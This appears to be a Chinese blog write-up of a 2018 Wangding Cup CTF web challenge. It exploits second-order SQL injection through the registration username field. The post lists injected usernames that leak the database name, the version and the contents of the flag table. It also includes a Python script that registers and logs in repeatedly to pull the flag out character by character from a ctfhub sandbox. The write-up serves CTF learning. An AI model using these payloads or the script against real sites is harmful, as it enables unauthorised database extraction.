[CTF 真题] 2018-网鼎杯-Web-Unfinish

1、题目描述

题目界面

WEB界面

 

2、解题思路

2.1 题目关键字

二次注入、使用登陆后的账号名显示作为回显

2.2 解题过程

发现Url中的login.php,随便输入一下登录,发现页面只会输出用户名和密码错误,应当是个sql注入题目,盲猜一下注册页面,可能存在register.php, 果然存在register.php,而且可以注册,应当是二次注入,尝试一下。

a.注册登陆

注册邮箱\账号\密码:123@qq.com\aaaaa\123123

登陆后发现这个可以显示我们登陆的用户名

 

b.注册带有SQL语句的账号

邮箱账号密码登陆后的显示功能
1@qq.com0’+database()+’01230
2@qq.com0’+hex(database())+’0123776562 (转为字符是web)查询出当前使用的数据库
3@qq.com0'+hex(version())+'01231.797693134 8623157e308查询版本,但长度太长 无法全部显示,自动计数
4@qq.com0'+ ascii(substr((select * from flag) from 1 for 1)) +'0;123获取flag表中的数据的指定部分的字符

c.脚本自动化注入

import requests
import re
from time import sleep
from bs4 import BeautifulSoup
 
 
def flag():
    flag = ''
    url = 'http://challenge-4b5f47843c016f2f.sandbox.ctfhub.com:10800/'
    url1 = url + 'register.php'
    url2 = url + 'login.php'
    for i in range(1, 100):
        sleep(0.5)
        data_register = {"email": f"a{i}@163.com",
                 "username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;", "password": "1"}
        data_login = {"email": f"a{i}@163.com", "password": "1"}
        response_regiseter = requests.post(url1, data=data_register)
        response_login = requests.post(url2, data=data_login)
        bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面
        username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性
        number = username.text  # 取该属性的数字
        flag += chr(int(number))
        print(flag)
 
 
if __name__ == '__main__':
    flag()

ctfhub{4394ff386f478f047c3d55f5}

Success!

3、总结

首先进行一个扫描,发现注册与登陆页面,通过观察发现可能存在二次注入,尝试注册一个带有SQL语句的账号,然后登陆这个账号查看显示用户名的地方是否进行了执行,返回的是否是数据库中的数据。通过脚本批量注册,然后进行登陆,最后获得Flag。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

红蓝安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值